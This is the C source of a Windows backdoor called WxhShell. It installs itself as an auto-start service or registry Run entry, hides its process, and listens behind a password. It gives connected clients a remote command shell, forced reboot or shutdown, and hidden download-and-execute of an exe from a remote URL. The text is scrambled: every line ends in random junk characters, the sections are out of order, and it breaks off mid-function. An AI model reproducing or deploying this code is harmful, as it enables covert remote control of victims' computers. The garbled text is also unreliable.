    if(Boot(SHUTDOWN)) %*Uc,V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}<%~z#.4  
    else { *-Vr=e<8   
    closesocket(wsh); JAXD\StC  
    ExitThread(0); 8~TKiR5  
    } ?N!kYTR%}  
    break; 6h %rt]g  
    } |(PS bu  
  // 获取shell QgQ$>  
  case 's': { F*>#Xr~/  
    CmdShell(wsh); uhp.Yv@c  
    closesocket(wsh); kY{$[+-jR  
    ExitThread(0); lmL$0{Yr  
    break; # h4FLF_w  
  } Ud e?[6  
  // 退出 "dvo@n|  
  case 'x': { 1KBGML-K3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W7!iYxO  
    CloseIt(wsh); )4c?BCgy  
    break; c/v|e&q  
    } uKvdL "  
  // 离开 2+~gZxHq  
  case 'q': { V'MY+#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R<{Vgy  
    closesocket(wsh); !@N?0@$/  
    WSACleanup(); FoH1O+e  
    exit(1); BOq9\g`5s  
    break; cGdYfi  
        } 5$cjCjY  
  } BzO,(bd!PI  
  } h0g?=hJq  
.Y^cs+-o  
  // 提示信息 e3~{l~ Rb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xSSEDfq  
} 5I^;v;F  
  } e6J^J&`|4  
N~l*//Ep  
  return; UOl*wvy  
} fF r9]  
voN~f>  
// shell模块句柄 ZILJXX4  
int CmdShell(SOCKET sock) !Hl]&  
{ 5Pn.c!  
STARTUPINFO si; Ef28  
ZeroMemory(&si,sizeof(si)); qq)}GK8K&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &r4|WM/ec  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vB{i w}Hi!  
PROCESS_INFORMATION ProcessInfo; @p WN5VL  
char cmdline[]="cmd"; )Se$N6u-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mTxqcQc:7  
  return 0; uW=G1 *n-  
} ] S[?tn  
/w(g:e  
// 自身启动模式 "NGfT:HV  
int StartFromService(void) :-JryiI  
{ Y<irNp9   
typedef struct >Bf3X&uS  
{ yV\%K6d|3&  
  DWORD ExitStatus; /o'lGvw  
  DWORD PebBaseAddress; 'xx M0Kn`  
  DWORD AffinityMask; H${LF.8  
  DWORD BasePriority; Mh5> hD  
  ULONG UniqueProcessId; =f{v:n6  
  ULONG InheritedFromUniqueProcessId;  ID,_0b  
}   PROCESS_BASIC_INFORMATION; igk<]AwxS  
^4^N}7>5  
PROCNTQSIP NtQueryInformationProcess; d!0rq4v7  
d8w3Oz54  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d-+jb<C&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TaBya0-  
d9;&Y?fp  
  HANDLE             hProcess; %gAT\R_f  
  PROCESS_BASIC_INFORMATION pbi; nk%v|ZxoFv  
7KhS{w6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fPUr O  
  if(NULL == hInst ) return 0; I@/ G#3Zr  
V@k+RniEO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J*$%d1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |zpy!X3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qa )+Tv  
C`g "Mk8  
  if (!NtQueryInformationProcess) return 0; nco.j:  
P{6$".kIY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /ta}12Z  
  if(!hProcess) return 0; Nyy&'\`!  
:QGo -,6-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BL16?&RK  
o&E8<e  
  CloseHandle(hProcess); Mp|Jt  
iv *$!\Cd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'QT~o-U  
if(hProcess==NULL) return 0; ?I[8rzBWU  
nZ(]WPIN"  
HMODULE hMod; :&vX0 Ce:  
char procName[255]; '@.6Rd 8  
unsigned long cbNeeded; M8X6!"B$Y  
OVi < d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9efey? z  
y%i9 b&gDd  
  CloseHandle(hProcess); Gc`PO  
<WZ{<'ajI  
if(strstr(procName,"services")) return 1; // 以服务启动 vYm:V:7Y2  
^:{8z;w!(  
  return 0; // 注册表启动 {kk%_q  
} X+XDfEt:Q  
; um)JCXz  
// 主模块 < bC'.m  
int StartWxhshell(LPSTR lpCmdLine) 2j%=o?me^p  
{ qhxMO[f  
  SOCKET wsl; 3)EJws!  
BOOL val=TRUE; qKfUm:7Q_  
  int port=0; Pl:4`oY3  
  struct sockaddr_in door; 6^LXctW.  
U3a2wK  
  if(wscfg.ws_autoins) Install(); \ T#|<=  
AyO%,6p[  
port=atoi(lpCmdLine); BrE#.g Jq  
$WIVCp  
if(port<=0) port=wscfg.ws_port; ,yGbMOV  
] H !ru  
  WSADATA data; [n[dr@J7v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Z_O\zRqy)  
9Y.(xp &vw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #s~;ss ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5VTVx1P[8  
  door.sin_family = AF_INET; =l43RawAmu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #4bT8kq  
  door.sin_port = htons(port); ) 1AAL0F\B  
n\((#<&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m~ ah!QM  
closesocket(wsl); uM`i!7}  
return 1; P_A@`eU0  
} N4+Cg t(  
]oV{JR]  
  if(listen(wsl,2) == INVALID_SOCKET) { Nf )YG!  
closesocket(wsl); vd lss|  
return 1; %cSx`^`6j  
} Q[#}Oh6$  
  Wxhshell(wsl); VG 5*17nf5  
  WSACleanup(); VBL4cU8D  
~-zIB=TyK  
return 0; 3Qe|'E,U  
@G2# Z  
} 0beP7}$  
+XsE  
// 以NT服务方式启动 Z|E9}Il]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qqw P4ceG  
{ !4afU:  
DWORD   status = 0; t/;0/ql\  
  DWORD   specificError = 0xfffffff; v%qOW)].  
E_=F' sP?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6HK1?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C}) Dvh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o^~ZXF}  
  serviceStatus.dwWin32ExitCode     = 0; [cnu K  
  serviceStatus.dwServiceSpecificExitCode = 0; $"vz>SuB  
  serviceStatus.dwCheckPoint       = 0; vIJ5iLF  
  serviceStatus.dwWaitHint       = 0; ? #rXc%F  
{ze69 h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sh!c]r>\Q  
  if (hServiceStatusHandle==0) return; `w 6Qsah  
HMF2sc$N  
status = GetLastError(); M]PZwW8  
  if (status!=NO_ERROR) @~$d4K y<  
{ >}*W$i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :o8`2Z*g  
    serviceStatus.dwCheckPoint       = 0;  nz?[  
    serviceStatus.dwWaitHint       = 0; xJ$uoy3+  
    serviceStatus.dwWin32ExitCode     = status; p*c(dkOe8  
    serviceStatus.dwServiceSpecificExitCode = specificError; b y>%}#M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z2M(euzfi3  
    return; +JtKVF  
  } ,}IcQu'O  
f`Fj-<v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MOQ6&C`7q  
  serviceStatus.dwCheckPoint       = 0; k3$'K}=d  
  serviceStatus.dwWaitHint       = 0; ,ho",y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g,\kLTg  
} .9vS4C  
F&6#j  
// 处理NT服务事件,比如:启动、停止 bBs{PI2(p1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z]N#.utQ  
{ U*a#{C7"  
switch(fdwControl) ?IAu,s*u  
{ |V\{U j  
case SERVICE_CONTROL_STOP: Jai]z  
  serviceStatus.dwWin32ExitCode = 0; e=(Y,e3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {'4#{zmp  
  serviceStatus.dwCheckPoint   = 0; "]=OR>  
  serviceStatus.dwWaitHint     = 0; uNn1qV  
  { :o^ioX.J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nCi ]6;Y  
  } W5Z-s.o  
  return; :<P4=P P  
case SERVICE_CONTROL_PAUSE: GPHb-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fsjLD|?|:  
  break; i[KXkjr  
case SERVICE_CONTROL_CONTINUE: Fl.?*KBz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z|3v~,  
  break; @]n8*n  
case SERVICE_CONTROL_INTERROGATE: q.=Q  
  break; H7+z"^s*  
}; #tKks:eL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :'bZ:J>f  
} /}@F q  
}BM`4/  
// 标准应用程序主函数 VvW4!1Dl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \YzKEYx+  
{ : 2%eh  
HjK8y@j  
// 获取操作系统版本 (5jKUQ8Q>  
OsIsNt=GetOsVer(); 5b"=m9{g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FL\pgbI  
^rfR<Q`  
  // 从命令行安装 UUfM 7gq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1SjVj9{:  
q,ie)`  
  // 下载执行文件 <2]h$53y!  
if(wscfg.ws_downexe) { TI3xt-/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3q4Zwv0z20  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6k0Awcr  
} XcoX8R%U  
9!=4}:+  
if(!OsIsNt) { ,5zY1C==Ut  
// 如果时win9x,隐藏进程并且设置为注册表启动 6kp)'wz`  
HideProc(); A~Sc ] M  
StartWxhshell(lpCmdLine); (DvPdOT+3  
} WILa8"M  
else |5(un#  
  if(StartFromService()) o+hp#e  
  // 以服务方式启动 %6(\Ki6I  
  StartServiceCtrlDispatcher(DispatchTable); =k<b* 8  
else O;4S<N  
  // 普通方式启动 SHYekX  
  StartWxhshell(lpCmdLine); g"n>v c7  
TFb7P/g  
return 0; ]7<$1ta  
} B)7:*Kj  
h:bx0:O"  
s;P _LaIp)  
}BS EK<W  
=========================================== vfqXHc unj  
X$==J St  
{P?Ge  
VJ-t #q"  
Po=:-Of:  
<9>L^GgXA  
" ^e^-1s  S  
agfDx ^,  
#include <stdio.h> m>Wt'Cc  
#include <string.h> B> E4,"  
#include <windows.h> 7Q{&L#;  
#include <winsock2.h> b [HnhAI  
#include <winsvc.h> x=>dmi3  
#include <urlmon.h> O=U,x-Wl  
ds(X[7XGW  
#pragma comment (lib, "Ws2_32.lib") LiHJm-  
#pragma comment (lib, "urlmon.lib") Mm8_EjMp  
qDG x (d  
#define MAX_USER   100 // 最大客户端连接数 _lI(!tj(  
#define BUF_SOCK   200 // sock buffer 8Q/cJ+&  
#define KEY_BUFF   255 // 输入 buffer 4?@5JpC9VA  
H8"RdKwg?  
#define REBOOT     0   // 重启 g&/lyQ+G  
#define SHUTDOWN   1   // 关机 "n3n-Y#'  
RQ|K?^k v  
#define DEF_PORT   5000 // 监听端口 Vfd_nD^8oZ  
ISZEP8w  
#define REG_LEN     16   // 注册表键长度 R|Bi%q|4P  
#define SVC_LEN     80   // NT服务名长度 t@lTA>;U@  
c%G~HOE=B  
// 从dll定义API rYPuo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n.N0Nhd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kc] GE#~g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r9}(FL /)b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fR;[??NH  
:Hitx  
// wxhshell配置信息 x s6!NY  
struct WSCFG { evEdFY  
  int ws_port;         // 监听端口 S~ckIN]  
  char ws_passstr[REG_LEN]; // 口令 N *m;A6?  
  int ws_autoins;       // 安装标记, 1=yes 0=no SgQmR#5  
  char ws_regname[REG_LEN]; // 注册表键名 n=rmf*,?  
  char ws_svcname[REG_LEN]; // 服务名 l{rHXST|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g NE"z   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ld:-S,2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a$uD oi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6G4~-_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xPF.c,6b4=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M&Q&be84  
tWZ8(E$  
}; ow (YgM>t  
FFwu$S6e  
// default Wxhshell configuration :p<:0W2!  
struct WSCFG wscfg={DEF_PORT, /3 L4K  
    "xuhuanlingzhe", 4UL"f<7 T  
    1, s#8}&2#l  
    "Wxhshell", ve/.q^JeJ  
    "Wxhshell", 2bXCFv7}  
            "WxhShell Service", 3NwdE/x\  
    "Wrsky Windows CmdShell Service", q=cnY+p>  
    "Please Input Your Password: ", t:.X=/02  
  1, U>n.+/ss  
  "http://www.wrsky.com/wxhshell.exe", p&XuNk  
  "Wxhshell.exe" ,UVd+rY}  
    }; vG}\Amx+  
]$)};8;7W  
// 消息定义模块 1iqgTi>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vEt=enQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aQWg?,Ju6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5#_GuL%  
char *msg_ws_ext="\n\rExit."; 2MXg)GBcU>  
char *msg_ws_end="\n\rQuit."; R,!a X"]|  
char *msg_ws_boot="\n\rReboot..."; _B 4 N2t$  
char *msg_ws_poff="\n\rShutdown..."; Ey&A\  
char *msg_ws_down="\n\rSave to "; gv jy'Rm  
>0N$R|B&  
char *msg_ws_err="\n\rErr!"; L!5="s[}  
char *msg_ws_ok="\n\rOK!"; K#v@bu:'  
sN[<{;K4  
char ExeFile[MAX_PATH]; LD|T1 .  
int nUser = 0; *bcemH8f  
HANDLE handles[MAX_USER]; ywjD.od"v  
int OsIsNt; 4}Os>M{k  
v{SYz<(  
SERVICE_STATUS       serviceStatus; tPJU,e)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -oju-gf K  
#B$_ily)  
// 函数声明 X=Y>9  
int Install(void); ]nS9taEA   
int Uninstall(void); I*+*Wf  
int DownloadFile(char *sURL, SOCKET wsh); oXwcil  
int Boot(int flag); jfR!M07|  
void HideProc(void); (=53WbOh/t  
int GetOsVer(void); cpq0' x\  
int Wxhshell(SOCKET wsl); O,&p"K&Z  
void TalkWithClient(void *cs); %[?{H} y  
int CmdShell(SOCKET sock); Q `h@-6N  
int StartFromService(void); 5zJ#d}%}S"  
int StartWxhshell(LPSTR lpCmdLine); gepYV}  
Xs4G#QsA J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2c9]Ja3:6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ag]Hk %  
q>a/',m  
// 数据结构和表定义 hG/Z65`&  
SERVICE_TABLE_ENTRY DispatchTable[] = |msQ  
{ h_t<Jl  
{wscfg.ws_svcname, NTServiceMain}, o[G,~f\-  
{NULL, NULL} P-N+  
}; IrP6Rxh  
44hz,  
// 自我安装 40LA G  
int Install(void) V,3$>4x  
{ 1B`0.M'd  
  char svExeFile[MAX_PATH]; O;;vz+ j  
  HKEY key; ^@q $c  
  strcpy(svExeFile,ExeFile); nR?m,J  
;Uj=rS`Q  
// 如果是win9x系统,修改注册表设为自启动 (@*#Pn|A  
if(!OsIsNt) { >\ym{@+*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sv>c)L}I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A$'rT|>se  
  RegCloseKey(key); 9TE-'R@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IPh_QE2g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (XA]k%45  
  RegCloseKey(key); #w]:<R^  
  return 0; ZsDn`8  
    } wW;!L =j  
  } VV~Kgy  
} 7G8M+i3q/  
else { 8!dA1]2;  
!P* z=  
// 如果是NT以上系统,安装为系统服务 e,0Gc-X[B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dzc.s8T(0  
if (schSCManager!=0) 5zI I4ukn*  
{ F;dUqXUu  
  SC_HANDLE schService = CreateService )x&}{k6 %  
  ( |(1z ?Spbe  
  schSCManager, N|WR^MQD  
  wscfg.ws_svcname, Y]1b3 9O  
  wscfg.ws_svcdisp, RiAY>:  
  SERVICE_ALL_ACCESS, sJ/?R:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YR/rN,  
  SERVICE_AUTO_START, n&uD=-  
  SERVICE_ERROR_NORMAL, ZTSNM)f  
  svExeFile, 7b[vZNi_  
  NULL, (/l9@0Y.t  
  NULL, =C2,?6!  
  NULL, TL_8c][.4$  
  NULL, t[cZ|+^]  
  NULL 1QH5<)Oa  
  ); {wp"zaa  
  if (schService!=0) owc#RW9 7  
  { > jvi7  
  CloseServiceHandle(schService); \XlT  
  CloseServiceHandle(schSCManager); G8oOFBQD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l< RztzUw  
  strcat(svExeFile,wscfg.ws_svcname); (f|3(u'e?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KC{ HX?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }<kpvd+ps=  
  RegCloseKey(key); m-No 8)2yA  
  return 0; 7[W! Nx  
    } Rm!Iv&{  
  } @RF !p  
  CloseServiceHandle(schSCManager); x+7jJ=F  
} gG.b=DvzY  
} 3 a G?^z  
g&V1<n\b+  
return 1; <}$o=>'  
} 8wqHr@}p  
sP5\R#  
// 自我卸载 QGnBNsAh  
int Uninstall(void) q.>{d%?  
{ pTlNJ!U>  
  HKEY key; Ey!+rq}  
k:0HsN!F9  
if(!OsIsNt) { O=Py XOf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LCRZ<?O[|  
  RegDeleteValue(key,wscfg.ws_regname);  *w538Vb  
  RegCloseKey(key); V '4sOn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q}M% \v  
  RegDeleteValue(key,wscfg.ws_regname); r0)X]l7  
  RegCloseKey(key); ga~C?H,K  
  return 0; "?GA}e"R  
  } .* xaI+:  
} wh@;$s"B  
} Ul@yXtj  
else { + AyrKs?h  
&i,xod6$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gzthM8A  
if (schSCManager!=0) ?HBNd&gZ1G  
{ }Q?, O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "-+5`!Y  
  if (schService!=0) hYMo5?  
  { V!F# ek:  
  if(DeleteService(schService)!=0) { hX~d1.]Y  
  CloseServiceHandle(schService); WBgS9qiB  
  CloseServiceHandle(schSCManager); xFt[:G`\}u  
  return 0; }Zue?!KQ  
  } I|*w?i*  
  CloseServiceHandle(schService); emo@&6*  
  } p ] V  
  CloseServiceHandle(schSCManager); [Az<E3H"  
} /L8Q[`;.  
} *eAsA(;  
Yp1;5Bbp  
return 1; e:E:"elr]  
} c-L1 Bkw  
B6&;nU>;  
// 从指定url下载文件 %EuJ~;x(Mg  
int DownloadFile(char *sURL, SOCKET wsh) 5 #)5Z8`X  
{ B'OUT2cgB  
  HRESULT hr; ruG5~dm>  
char seps[]= "/"; i"~J -{d}  
char *token; >i%{5d  
char *file; xn'&TQo0  
char myURL[MAX_PATH]; .|Pq!uLvc  
char myFILE[MAX_PATH]; WKib$(%f6  
@Q;%hb  
strcpy(myURL,sURL); \Q"j^4   
  token=strtok(myURL,seps); I dsPB)k_  
  while(token!=NULL) %- W3F5NK  
  { "/e:V-W   
    file=token; _H9.A I  
  token=strtok(NULL,seps); \YE(E04w57  
  } B 3Y,|*  
?32gug\i'}  
GetCurrentDirectory(MAX_PATH,myFILE); iX]Vkx  
strcat(myFILE, "\\"); A~_*vcz  
strcat(myFILE, file); Nv@SpV'  
  send(wsh,myFILE,strlen(myFILE),0); ]3xb Q1  
send(wsh,"...",3,0); (*>%^C?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x$o?ckyH  
  if(hr==S_OK) G=R`O1-3  
return 0; ~ [ k0ay  
else 88]V6Rm9[*  
return 1; nm)H\i  
J3OxM--8"  
} 1&JPyW  
SW!lSIk  
// 系统电源模块 ToWiXH)4  
int Boot(int flag) @kCFc}  
{ x{ _:B DY  
  HANDLE hToken; Ib(q9!L  
  TOKEN_PRIVILEGES tkp; +>b~nK>M  
?6;9r[ p  
  if(OsIsNt) { W_:3Sj l'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i^9,.$<1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =]k0*\PS  
    tkp.PrivilegeCount = 1; >?/Pl"{b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cn62:p]5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m5c?A+@fZ  
if(flag==REBOOT) { % ~eIx=s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tI42]:z  
  return 0; -? _#Yttu  
} AI{Tw>hZ  
else { ;m<22@,E&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d <{ >&  
  return 0; SvZ~xTit  
} ^O#>LbM"x  
  } M3m!u[6|  
  else { v?Z30?_&h  
if(flag==REBOOT) { 0!<qfT a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pZo:\n5o  
  return 0; 0wM2v[^YO  
} c2Q KI~\x  
else { q~esxp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !&'GWQY{(  
  return 0; w; [ndZCY7  
} zSy^vM;6zf  
} BvQMq5&  
1b^e4  
return 1; rC`pTN  
} _{Q)5ooP  
U"nk AW  
// win9x进程隐藏模块 ,%)O/{p_  
void HideProc(void) ,X+LJe$  
{ _yH{LUIj  
=E6ND8l@2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Sj<1tx7f  
  if ( hKernel != NULL ) M]c"4 b;  
  { c`S`.WID  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); in-|",O`Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tu5g> qb  
    FreeLibrary(hKernel); " pg5w  
  } > 2)@(f~g  
9:DT+^BB  
return; 3K;V3pJ].  
} O52B  
73Zx`00  
// 获取操作系统版本 JWZG)I]r  
int GetOsVer(void) 8 5 L<  
{ GkwdBy+  
  OSVERSIONINFO winfo; /!7    
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F9ytU>zh  
  GetVersionEx(&winfo); %y96]e1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e}f#dR+(  
  return 1; voX4A p l  
  else dC'8orFG+  
  return 0; `O+}$wP  
} =Msr+P9Ai  
F,dPmR  
// 客户端句柄模块 h^QLvOuR  
int Wxhshell(SOCKET wsl) 6 zyxGJ(  
{ ]A? (OA  
  SOCKET wsh; KgD sqwy  
  struct sockaddr_in client; 0tz7^:|D  
  DWORD myID; ^(+ X|t  
M `O=rH }  
  while(nUser<MAX_USER) qLjLfJJ2  
{ u-s*3Lg&  
  int nSize=sizeof(client); ^LI\W'K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o#Gf7.E8  
  if(wsh==INVALID_SOCKET) return 1; 6Qc *:(GE  
! 3 ;;6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vs1H)T%  
if(handles[nUser]==0) 1k)31GEQw  
  closesocket(wsh); 83(-/ y  
else 'c7'iDM  
  nUser++; <z.Y#{p?k  
  } As{Q9o5j/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e w%rc.;  
p>ba6BDJT  
  return 0; 4h*c{do  
} %LM2CgH V  
oV/:T\Qn=  
// 关闭 socket H*.v*ro9_  
void CloseIt(SOCKET wsh) K#%@4]jO3  
{ =I.uf   
closesocket(wsh); =67ab_V  
nUser--; &0*7]Wo*  
ExitThread(0); 5'<J@3B  
} I]@QhCm0  
p=XEMVqm  
// 客户端请求句柄 (X?HuWTm  
void TalkWithClient(void *cs) !We9T)e  
{ u Vth&4dh9  
QbJE+m5  
  SOCKET wsh=(SOCKET)cs; }j)][{i*x  
  char pwd[SVC_LEN]; R+*-i+]Q#7  
  char cmd[KEY_BUFF]; R@df~  
char chr[1]; uv|RpIve:  
int i,j; sB@9L L]&|  
q _INGCJ  
  while (nUser < MAX_USER) { ~0@ uR  
$x/VO\Z{-  
if(wscfg.ws_passstr) { A3Xfu$[u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m@i](1*T|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l5 T0x=y9!  
  //ZeroMemory(pwd,KEY_BUFF); n-he|u  
      i=0; t5aX9WIW  
  while(i<SVC_LEN) { r1&eA%eh  
{i<L<Y(3  
  // 设置超时 xeB-fy)5+  
  fd_set FdRead; 5_\1f|,  
  struct timeval TimeOut; 1rIL[(r4  
  FD_ZERO(&FdRead); J4]tT pu"K  
  FD_SET(wsh,&FdRead); !59,<N1Iu  
  TimeOut.tv_sec=8; Q<Q?#v7NX  
  TimeOut.tv_usec=0; 0 wjL=]X1e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); no$X0ia  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F2>W{-H+  
.~a.mT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < ZG!w^  
  pwd=chr[0]; \nUJ)w  
  if(chr[0]==0xd || chr[0]==0xa) { >:bXw#w]  
  pwd=0; TVZf@U  
  break; +<T361eyY  
  } B)x^S >  
  i++; >~l^E!<i-u  
    } #[&9~za'"m  
(GoxiX l  
  // 如果是非法用户,关闭 socket jL{k!V`s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 84lT# ^q  
} &s{d r  
U6F7dT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sis1Dh9:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c;,-I  
3V]08  
while(1) { )b~+\xL5J  
hZ|8mV  
  ZeroMemory(cmd,KEY_BUFF); ~bq w!rz  
+3k.xP?QS  
      // 自动支持客户端 telnet标准   k5|GN Y6a  
  j=0; uO((Mg  
  while(j<KEY_BUFF) { O!'gylj/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Ia1Wd8n  
  cmd[j]=chr[0]; 98maQQWD  
  if(chr[0]==0xa || chr[0]==0xd) { Jz]OWb *  
  cmd[j]=0; cK,&huk  
  break; t>2EZ{N +y  
  } mT>RQ.  
  j++; -;O"Y?ME  
    } ><C9PS@  
;> %wf3e  
  // 下载文件 gSHN,8. `  
  if(strstr(cmd,"http://")) { ,:{+-v(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mLV0J '  
  if(DownloadFile(cmd,wsh)) (~NR."s;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OD~yIV  
  else dn&4 84  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !TN)6e7`  
  } ,ZZ5A;)  
  else { h05BZrE  
YB_fy8Tfx  
